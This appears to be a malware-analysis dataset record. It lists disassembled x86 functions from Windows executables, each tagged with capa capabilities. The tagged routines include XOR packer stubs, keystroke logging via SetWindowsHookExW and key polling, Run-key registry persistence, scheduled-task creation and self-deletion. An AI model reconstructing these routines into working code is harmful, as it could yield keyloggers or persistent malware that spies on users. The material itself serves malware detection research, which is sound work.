joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4892f0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
mov ecx, 9
push 0
push 0
dec ecx
jne 0x4892f8
push ecx
push ebx
push esi
mov esi, eax
mov ebx, 0x490fc0
xor eax, eax
push ebp
push 0x48949e
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 8]
mov eax, dword [ebx]
call fcn.00408f44
push dword [ebp - 8]
push 0x4894b4
lea edx, [ebp - 0xc]
mov eax, dword [ebx + 4]
call fcn.00408f44
push dword [ebp - 0xc]
push 0x4894b4
lea edx, [ebp - 0x10]
mov eax, dword [ebx + 8]
call fcn.00408f44
push dword [ebp - 0x10]
push 0x4894b4
lea edx, [ebp - 0x14]
mov eax, dword [ebx + 0xc]
call fcn.00408f44
push dword [ebp - 0x14]
push 0x4894b4
lea edx, [ebp - 0x18]
mov eax, dword [ebx + 8]
call fcn.00408f44
push dword [ebp - 0x18]
lea edx, [ebp - 0x1c]
mov eax, dword [ebx + 0x10]
call fcn.00408f44
push dword [ebp - 0x1c]
push 0x4894b4
lea edx, [ebp - 0x20]
mov eax, dword [ebx + 0x14]
call fcn.00408f44
push dword [ebp - 0x20]
push 0x4894b4
lea edx, [ebp - 0x24]
mov eax, dword [ebx + 0x18]
call fcn.00408f44
push dword [ebp - 0x24]
push 0x4894b4
lea edx, [ebp - 0x28]
mov eax, dword [ebx + 0x1c]
call fcn.00408f44
push dword [ebp - 0x28]
push 0x4894b4
lea edx, [ebp - 0x2c]
mov eax, dword [ebx + 0x20]
call fcn.00408f44
push dword [ebp - 0x2c]
push 0x4894b4
lea edx, [ebp - 0x30]
mov eax, dword [ebx + 0x24]
call fcn.00408f44
push dword [ebp - 0x30]
push 0x4894b4
lea edx, [ebp - 0x34]
mov eax, dword [ebx + 0x28]
call fcn.00408f44
push dword [ebp - 0x34]
push 0x4894b4
lea edx, [ebp - 0x38]
mov eax, dword [ebx + 0x2c]
call fcn.00408f44
push dword [ebp - 0x38]
push 0x4894b4
lea edx, [ebp - 0x3c]
mov eax, dword [ebx + 0x30]
call fcn.00408f44
push dword [ebp - 0x3c]
push 0x4894b4
lea edx, [ebp - 0x40]
mov eax, dword [ebx + 0x34]
call fcn.00408f44
push dword [ebp - 0x40]
push 0x4894b4
lea edx, [ebp - 0x44]
mov eax, dword [ebx + 8]
call fcn.00408f44
push dword [ebp - 0x44]
lea edx, [ebp - 0x48]
mov eax, dword [ebx + 0x38]
call fcn.00408f44
push dword [ebp - 0x48]
push 0x4894b4
lea edx, [ebp - 0x4c]
mov eax, dword [ebx + 0x3c]
call fcn.00408f44
push dword [ebp - 0x4c]
lea eax, [ebp - 4]
mov edx, 0x21
call fcn.00404ccc
mov eax, dword [ebx + 0x18]
push eax
mov eax, dword [ebx + 0x18]
push eax
push esi
mov ecx, dword [ebp - 4]
mov edx, dword [ebx + 8]
mov eax, 0x4894c0
call fcn.0046fc9c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4894a5
lea eax, [ebp - 0x4c]
mov edx, 0x13
call fcn.00404970
ret
Function at 0x4065c9
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x42d2c4], 0
jne 0x406604
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4065dd
mov dword [ecx*4 + 0x42d2c0], eax
inc ecx
cmp ecx, 0x100
jl 0x4065d8
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x406631
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x42d2c0]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x406612
not eax
pop ebp
ret 0xc

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
pop eax
nop
nop
add eax, 0x403ac5
nop
nop
sub eax, 0x403a6b
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
popal
nop
nop
jmp loc.00401219
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..idata
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
je 0x431072
nop
nop
nop
nop
nop
mov ebx, 0x40915c
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x69f63c9f
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x431060
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
je 0x4310d2
nop
nop
nop
nop
mov ebx, 0x42f3f8
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x3e1d660e
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4310c0
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x401460
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
mov dword [esp + 4], 0x40b064
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0xc], eax
mov dword [esp + 4], 0x40b067
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0xc], 0
je 0x4014a1
cmp dword [ebp - 0x10], 0
jne 0x4014d3
mov dword [esp], str.Error_opening_file
call sym._perror
jmp 0x401517
mov eax, dword [ebp - 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov dword [esp + 4], 1
lea eax, [ebp - 0x414]
mov dword [esp], eax
call sym._fwrite
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x400
mov dword [esp + 4], 1
lea eax, [ebp - 0x414]
mov dword [esp], eax
call sym._fread
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x4014af
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._fclose
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fclose
leave
ret
Function at 0x40d210
Capabilities:
Log keystrokes via application hook

Disassembly:
cmp dword [0x43a7f8], 0
push esi
mov esi, dword [sym.imp.user32.dll_UnhookWindowsHookEx]
jne 0x40d28a
mov eax, dword [0x43acb0]
test eax, eax
je 0x40d22c
push eax
call esi
push 0
push dword [0x43b02c]
mov dword [0x43acb0], 0
push 0x40c260
push 0xd
call dword [sym.imp.user32.dll_SetWindowsHookExW]
mov dword [0x43acb0], eax
test eax, eax
je 0x40d2df
push dword [0x43aa40]
call esi
mov ecx, dword [0x43aa40]
xor edx, edx
test eax, eax
mov dword [0x43a7f8], 1
cmovne ecx, edx
mov dword [0x43aa40], ecx
call dword [sym.imp.kernel32.dll_GetTickCount]
mov dword [0x43ac78], eax
pop esi
ret
mov eax, dword [0x43aa40]
test eax, eax
je 0x40d296
push eax
call esi
push 0
push dword [0x43b02c]
mov dword [0x43aa40], 0
push 0x40c240
push 0xd
call dword [sym.imp.user32.dll_SetWindowsHookExW]
mov dword [0x43aa40], eax
test eax, eax
je 0x40d2df
push dword [0x43acb0]
call esi
mov ecx, dword [0x43acb0]
xor edx, edx
test eax, eax
mov dword [0x43a7f8], edx
cmovne ecx, edx
mov dword [0x43acb0], ecx
call dword [sym.imp.kernel32.dll_GetTickCount]
mov dword [0x43ac78], eax
pop esi
ret
Function at 0x40f690
Capabilities:
Create directory
Get disk information

Disassembly:
sub esp, 0x204
mov eax, dword [0x437888]
xor eax, esp
mov dword [esp + 0x200], eax
push edi
mov edi, ecx
mov edx, edi
lea ecx, [edx + 1]
lea esp, [esp]
mov al, byte [edx]
inc edx
test al, al
jne 0x40f6b0
sub edx, ecx
cmp edx, 4
jae 0x40f6e1
push edi
call dword [sym.imp.kernel32.dll_GetDriveTypeA]
dec eax
neg eax
pop edi
sbb eax, eax
inc eax
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.0041d486
add esp, 0x204
ret
xor eax, eax
cmp eax, 0x200
jae 0x40f79c
mov byte [esp + eax + 4], 0
inc eax
cmp eax, 0x200
jl 0x40f6e8
cmp byte [edi + 3], 0
movzx eax, byte [edi]
push ebp
mov ebp, dword [sym.imp.kernel32.dll_CreateDirectoryA]
mov byte [esp + 8], al
movzx eax, byte [edi + 1]
push esi
mov byte [esp + 0xd], al
lea esi, [edi + 3]
movzx eax, byte [edi + 2]
mov byte [esp + 0xe], al
je 0x40f753
push ebx
lea ebx, [esp + 0x10]
sub ebx, edi
lea ebx, [ebx]
movzx eax, byte [esi]
lea esi, [esi + 1]
mov byte [ebx + esi - 1], al
mov al, byte [esi]
cmp al, 0x5c
je 0x40f744
test al, al
jne 0x40f730
push 0
lea eax, [esp + 0x14]
push eax
call ebp
cmp byte [esi], 0
jne 0x40f730
pop ebx
push 0
push edi
call ebp
pop esi
pop ebp
test eax, eax
jne 0x40f784
call dword [sym.imp.kernel32.dll_GetLastError]
xor ecx, ecx
cmp eax, 0xb7
pop edi
cmove eax, ecx
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.0041d486
add esp, 0x204
ret
mov ecx, dword [esp + 0x204]
xor eax, eax
pop edi
xor ecx, esp
call fcn.0041d486
add esp, 0x204
ret
call fcn.0041dbcb
int3

Function at 0x40f970
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x10c
mov eax, dword [0x437888]
xor eax, esp
mov dword [esp + 0x108], eax
push esi
push edx
lea eax, [esp + 8]
mov esi, ecx
push 0x104
push eax
call fcn.0041d64e
lea eax, [esp + 0x10]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40f9a1
sub eax, edx
cmp byte [esp + eax + 3], 0x5c
je 0x40f9c2
mov byte [esp + eax + 4], 0x5c
inc eax
cmp eax, 0x106
jae 0x40f9f8
mov byte [esp + eax + 4], cl
lea ecx, [esp + 4]
call fcn.0040f690
push 1
push 0
push 0
lea eax, [esp + 0x10]
push eax
push 0x4340f0
push esi
call dword [sym.imp.shell32.dll_ShellExecuteA]
mov ecx, dword [esp + 0x10c]
pop esi
xor ecx, esp
call fcn.0041d486
add esp, 0x10c
ret
call fcn.0041dbcb
int3
Function at 0x40fb90
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
sub esp, 0x68
mov eax, dword [0x437888]
xor eax, esp
mov dword [esp + 0x64], eax
push ebp
push edi
mov edi, ecx
xor eax, eax
mov ebp, edx
mov dword [esp + 8], edi
cmp eax, 0x40
jae 0x40fd72
mov byte [esp + eax + 0xc], 0
inc eax
cmp eax, 0x40
jl 0x40fbad
xor eax, eax
cmp eax, 0x20
jae 0x40fd72
mov byte [esp + eax + 0x4c], 0
inc eax
cmp eax, 0x20
jl 0x40fbc3
push ebx
mov ebx, dword [esp + 0x78]
test ebx, ebx
jne 0x40fbfe
push 0x4340f8
push ebp
push edi
call dword [sym.imp.user32.dll_SetDlgItemTextA]
pop ebx
pop edi
pop ebp
mov ecx, dword [esp + 0x64]
xor ecx, esp
call fcn.0041d486
add esp, 0x68
ret 4
push esi
mov esi, ebx
mov byte [esp + 0x14], 0
shr esi, 8
and esi, 7
je 0x40fc6f
cmp esi, 1
jne 0x40fc1a
push 0x4335d8
jmp 0x40fc60
cmp esi, 2
jne 0x40fc26
push 0x4335e0
jmp 0x40fc60
cmp esi, 3
jne 0x40fc32
push 0x4335e8
jmp 0x40fc60
cmp esi, 4
jne 0x40fc3e
push 0x4335f4
jmp 0x40fc60
cmp esi, 5
jne 0x40fc4a
push 0x4335fc
jmp 0x40fc60
cmp esi, 6
jne 0x40fc56
push 0x433608
jmp 0x40fc60
cmp esi, 7
jne 0x40fc6f
push 0x433614
lea eax, [esp + 0x18]
push 0x3f
push eax
call fcn.0041d64e
add esp, 0xc
mov eax, ebx
and eax, 0xfffff8ff
cmp eax, 0xfffff8fe
jne 0x40fc84
push 0x433638
jmp 0x40fcac
cmp eax, 0xfffff8fd
jne 0x40fc92
push 0x433640
jmp 0x40fcac
cmp eax, 0xfffff8fc
jne 0x40fca0
push 0x433648
jmp 0x40fcac
cmp eax, 0xfffff8fb
jne 0x40fcd8
push 0x433650
push esi
lea ecx, [esp + 0x1c]
call fcn.0040b480
lea eax, [esp + 0x14]
push eax
push ebp
push edi
call dword [sym.imp.user32.dll_SetDlgItemTextA]
mov ecx, dword [esp + 0x74]
pop esi
pop ebx
pop edi
pop ebp
xor ecx, esp
call fcn.0041d486
add esp, 0x68
ret 4
test ebx, 0xffff0000
je 0x40fcea
mov edi, ebx
and edi, 0xff0000
jmp 0x40fcfb
push 0
movzx eax, bl
push eax
call dword [sym.imp.user32.dll_MapVirtualKeyA]
mov edi, eax
shl edi, 0x10
test ebx, 0x800
je 0x40fd09
or edi, 0x1000000
push 0x1f
lea eax, [esp + 0x58]
push eax
push edi
call dword [sym.imp.user32.dll_GetKeyNameTextA]
cmp byte [esp + 0x54], 0
jne 0x40fd54
push 0x1f
lea eax, [esp + 0x58]
and edi, 0xff0000
push eax
push edi
call dword [sym.imp.user32.dll_GetKeyNameTextA]
cmp byte [esp + 0x54], 0
jne 0x40fd54
and ebx, 0xf8ff
lea eax, [esp + 0x54]
push ebx
push 0x433630
push 0x1f
push eax
call fcn.0041d632
add esp, 0x10
lea eax, [esp + 0x54]
push eax
push esi
lea ecx, [esp + 0x1c]
call fcn.0040b480
lea eax, [esp + 0x14]
push eax
push ebp
push dword [esp + 0x18]
jmp 0x40fcbd
call fcn.0041dbcb
int3
Function at 0x410710
Capabilities:
Check internet connectivity via wininet
Create process on windows

Disassembly:
sub esp, 0x208
mov eax, dword [0x437888]
xor eax, esp
mov dword [esp + 0x204], eax
push ebx
mov ebx, dword [esp + 0x210]
lea eax, [esp + 4]
push esi
push edi
push 0
push eax
mov edi, edx
mov esi, ecx
call dword [sym.imp.wininet.dll_InternetGetConnectedState]
test eax, eax
je 0x410777
push 0x434100
lea eax, [esp + 0x14]
push 0x1ff
push eax
call fcn.0041d64e
push ebx
lea eax, [esp + 0x20]
push 0x1ff
push eax
call fcn.0041d6a3
add esp, 0x18
lea eax, [esp + 0x10]
push 3
push 0
push 0
push eax
jmp 0x410781
push 3
push 0x43ae10
push 0
push edi
push 0x434124
push esi
call dword [sym.imp.shell32.dll_ShellExecuteA]
mov ecx, dword [esp + 0x210]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0041d486
add esp, 0x208
ret 4

Function at 0x411740
Capabilities:
Create process on windows
Delete file
Schedule task via at
Schedule task via schtasks

Disassembly:
sub esp, 0xc68
mov eax, dword [0x437888]
xor eax, esp
mov dword [esp + 0xc60], eax
push esi
push 0x43a5c8
push 0x434200
lea eax, [esp + 0x268]
push 0x1ff
push eax
call fcn.0041d632
add esp, 0x10
lea eax, [esp + 0x60]
push 0x200
push eax
push 0
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
lea eax, [esp + 0x60]
mov byte [esp + 0x25f], 0
push eax
push 0x438a58
lea eax, [esp + 0x468]
push 0x7ff
push eax
call fcn.0041d632
push 0x43a290
push 0x434210
lea eax, [esp + 0x78]
push 0x1ff
push eax
call fcn.0041d632
lea eax, [esp + 0x80]
push 0x434220
push eax
call fcn.0041de75
mov esi, eax
add esp, 0x28
test esi, esi
je 0x411892
lea eax, [esp + 0x460]
push esi
push eax
call fcn.0041dca7
push esi
call fcn.0041def6
lea eax, [esp + 0x6c]
push eax
lea eax, [esp + 0x270]
push eax
push 0x434224
lea eax, [esp + 0x478]
push 0x3ff
push eax
call fcn.0041d632
push 0x44
lea eax, [esp + 0x3c]
push 0
push eax
call fcn.00423570
add esp, 0x2c
mov dword [esp + 0x18], 0x44
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x1c]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [esp + 0x480]
push eax
lea eax, [esp + 0x284]
push eax
call dword [sym.imp.kernel32.dll_CreateProcessA]
test eax, eax
je 0x411887
push 0x2ee0
push dword [esp + 0xc]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
push dword [esp + 0xc]
mov esi, dword [sym.imp.kernel32.dll_CloseHandle]
call esi
push dword [esp + 8]
call esi
lea eax, [esp + 0x60]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov ecx, dword [esp + 0xc64]
pop esi
xor ecx, esp
call fcn.0041d486
add esp, 0xc68
ret
Function at 0x4118b0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x664
mov eax, dword [0x437888]
xor eax, esp
mov dword [esp + 0x65c], eax
push 0x43a5c8
push 0x434200
lea eax, [esp + 0x60]
push 0x1ff
push eax
call fcn.0041d632
lea eax, [esp + 0x68]
push eax
push 0x434248
lea eax, [esp + 0x270]
push 0x3ff
push eax
call fcn.0041d632
push 0x44
lea eax, [esp + 0x34]
push 0
push eax
call fcn.00423570
add esp, 0x2c
mov dword [esp + 0x10], 0x44
lea eax, [esp]
push eax
lea eax, [esp + 0x14]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [esp + 0x278]
push eax
lea eax, [esp + 0x7c]
push eax
call dword [sym.imp.kernel32.dll_CreateProcessA]
test eax, eax
je 0x411963
push 0x2ee0
push dword [esp + 4]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
push dword [esp + 4]
call dword [sym.imp.kernel32.dll_CloseHandle]
push dword [esp]
call dword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, dword [esp + 0x65c]
xor ecx, esp
call fcn.0041d486
add esp, 0x664
ret

Function at 0x411c00
Capabilities:
Delete registry value
Persist via run registry key
Set registry value

Disassembly:
sub esp, 0xc
cmp dword [0x43a5b0], 0
je 0x411c27
cmp dword [0x43a7f4], 0
je 0x411c1e
call fcn.00411740
add esp, 0xc
ret
call fcn.004118b0
add esp, 0xc
ret
lea eax, [esp + 8]
push eax
lea eax, [esp + 8]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push 0x434264
push 0x80000001
call dword [sym.imp.advapi32.dll_RegCreateKeyExA]
test eax, eax
jne 0x411cbc
cmp dword [esp + 8], 2
jne 0x411cb2
cmp dword [0x43a7f4], eax
je 0x411ca3
mov ecx, 0x43a800
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411c70
sub ecx, edx
lea eax, [ecx + 1]
push eax
push 0x43a800
push 1
push 0
push 0x434294
push dword [esp + 0x18]
call dword [sym.imp.advapi32.dll_RegSetValueExA]
push dword [esp + 4]
call dword [sym.imp.advapi32.dll_RegCloseKey]
add esp, 0xc
ret
push 0x434294
push dword [esp + 8]
call dword [sym.imp.advapi32.dll_RegDeleteValueA]
push dword [esp + 4]
call dword [sym.imp.advapi32.dll_RegCloseKey]
add esp, 0xc
ret
Function at 0x412720
Capabilities:
Get disk information

Disassembly:
sub esp, 0x110
mov eax, dword [0x437888]
xor eax, esp
mov dword [esp + 0x10c], eax
mov al, byte [0x43a920]
push 0x105
mov byte [esp + 4], al
lea eax, [esp + 8]
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x1c]
mov word [esp + 0x1d], 0x5c3a
push eax
mov byte [esp + 0x23], 0
call dword [sym.imp.kernel32.dll_GetVolumeInformationA]
test eax, eax
je 0x41281a
push 4
lea eax, [esp + 8]
push 0x434358
push eax
call fcn.0041d706
add esp, 0xc
test eax, eax
je 0x412800
push 5
lea eax, [esp + 8]
push 0x434360
push eax
call fcn.0041d706
add esp, 0xc
test eax, eax
je 0x412800
push 4
lea eax, [esp + 8]
push 0x434368
push eax
call fcn.0041d706
add esp, 0xc
test eax, eax
je 0x412800
push 3
lea eax, [esp + 8]
push 0x434370
push eax
call fcn.0041d706
add esp, 0xc
test eax, eax
je 0x412800
push 4
lea eax, [esp + 8]
push 0x434374
push eax
call fcn.0041d706
add esp, 0xc
test eax, eax
je 0x412800
push 4
lea eax, [esp + 8]
push 0x43437c
push eax
call fcn.0041d706
add esp, 0xc
test eax, eax
jne 0x41281a
mov eax, 1
mov ecx, dword [esp + 0x10c]
xor ecx, esp
call fcn.0041d486
add esp, 0x110
ret
mov ecx, dword [esp + 0x10c]
xor eax, eax
xor ecx, esp
call fcn.0041d486
add esp, 0x110
ret
Function at 0x419790
Capabilities:
Get file attributes

Disassembly:
sub esp, 8
push 0x43a920
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
test eax, 0x800
je 0x4197f8
push esi
push 0
push 0x2000000
push 3
push 0
push 0
push 0x10000000
push 0x43a920
call dword [sym.imp.kernel32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4197f7
push 0
lea eax, [esp + 0xc]
mov dword [esp + 8], 0
push eax
push 0
push 0
push 2
lea eax, [esp + 0x18]
push eax
push 0x9c040
push esi
call dword [sym.imp.kernel32.dll_DeviceIoControl]
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
pop esi
add esp, 8
ret
Function at 0x41cba0
Capabilities:
Delete registry value

Disassembly:
sub esp, 8
push ebx
push esi
mov ebx, dword [sym.imp.advapi32.dll_RegCreateKeyExA]
lea eax, [esp + 0xc]
push edi
push eax
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0
push eax
push 0
push 2
push 0
push 0
push 0
push 0x434cbc
push 0x80000000
call ebx
mov esi, dword [sym.imp.advapi32.dll_RegDeleteValueA]
mov edi, dword [sym.imp.advapi32.dll_RegCloseKey]
test eax, eax
jne 0x41cbf5
push 0x434cd8
push dword [esp + 0x10]
call esi
push dword [esp + 0xc]
call edi
lea eax, [esp + 0x10]
mov dword [esp + 0xc], 0
push eax
lea eax, [esp + 0x10]
push eax
push 0
push 2
push 0
push 0
push 0
push 0x434ce8
push 0x80000000
call ebx
test eax, eax
jne 0x41cc32
push 0x434cd8
push dword [esp + 0x10]
call esi
push dword [esp + 0xc]
call edi
lea eax, [esp + 0x10]
mov dword [esp + 0xc], 0
push eax
lea eax, [esp + 0x10]
push eax
push 0
push 2
push 0
push 0
push 0
push 0x434d44
push 0x80000000
call ebx
test eax, eax
jne 0x41cc6f
push 0x434cd8
push dword [esp + 0x10]
call esi
push dword [esp + 0xc]
call edi
lea eax, [esp + 0x10]
mov dword [esp + 0xc], 0
push eax
lea eax, [esp + 0x10]
push eax
push 0
push 2
push 0
push 0
push 0
push 0x434d70
push 0x80000000
call ebx
test eax, eax
jne 0x41ccac
push 0x434cd8
push dword [esp + 0x10]
call esi
push dword [esp + 0xc]
call edi
pop edi
pop esi
pop ebx
add esp, 8
ret
Function at 0x41cd40
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x58
mov eax, dword [0x437888]
xor eax, esp
mov dword [esp + 0x54], eax
mov eax, dword [0x43b948]
push ebx
push esi
mov esi, dword [0x43b94c]
push edi
mov edi, dword [0x43b734]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push 0x43b748
mov dword [esp + 0x30], eax
mov dword [esp + 0x3c], 0
mov dword [esp + 0x40], 0
mov dword [esp + 0x38], 0
call dword [sym.imp.kernel32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x41cdbb
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [esp + 0x54]
xor ecx, esp
call fcn.0041d486
add esp, 0x58
ret 8
mov eax, 0x4d42
mov dword [esp + 0x32], 0x42
mov word [esp + 0x28], ax
xor eax, eax
mov dword [esp + 0x2e], eax
lea eax, [esi + esi*2]
mov ecx, eax
mov dword [esp + 0x10], eax
imul ecx, edi
push ebp
mov ebp, dword [sym.imp.kernel32.dll_WriteFile]
push 0
mov dword [esp + 0x40], 0x28
mov dword [esp + 0x44], esi
mov dword [esp + 0x48], edi
mov dword [esp + 0x4c], 0x180001
lea eax, [ecx + 0x42]
mov dword [esp + 0x50], 0
mov dword [esp + 0x32], eax
lea eax, [esp + 0x14]
push eax
push 0xe
lea eax, [esp + 0x38]
mov dword [esp + 0x5c], ecx
push eax
push ebx
mov dword [esp + 0x68], 0
mov dword [esp + 0x6c], 0
mov dword [esp + 0x70], 0
mov dword [esp + 0x74], 0
call ebp
push 0
lea eax, [esp + 0x14]
push eax
push 0x28
lea eax, [esp + 0x48]
push eax
push ebx
call ebp
push 0
lea eax, [esp + 0x14]
push eax
push 4
lea eax, [esp + 0x30]
push eax
push ebx
call ebp
push 0
lea eax, [esp + 0x14]
push eax
push 4
lea eax, [esp + 0x2c]
push eax
push ebx
call ebp
push 0
lea eax, [esp + 0x14]
push eax
push 4
lea eax, [esp + 0x34]
push eax
push ebx
call ebp
dec edi
js 0x41cebe
mov eax, dword [esp + 0x18]
lea ebp, [esi*4]
sub ebp, esi
imul esi, edi
neg ebp
mov dword [esp + 0x1c], esi
lea esi, [eax + esi*2]
add esi, dword [esp + 0x1c]
push 0
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x1c]
push esi
push ebx
call dword [sym.imp.kernel32.dll_WriteFile]
add esi, ebp
dec edi
jns 0x41cea6
push ebx
call dword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, dword [esp + 0x64]
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0041d486
add esp, 0x58
ret 8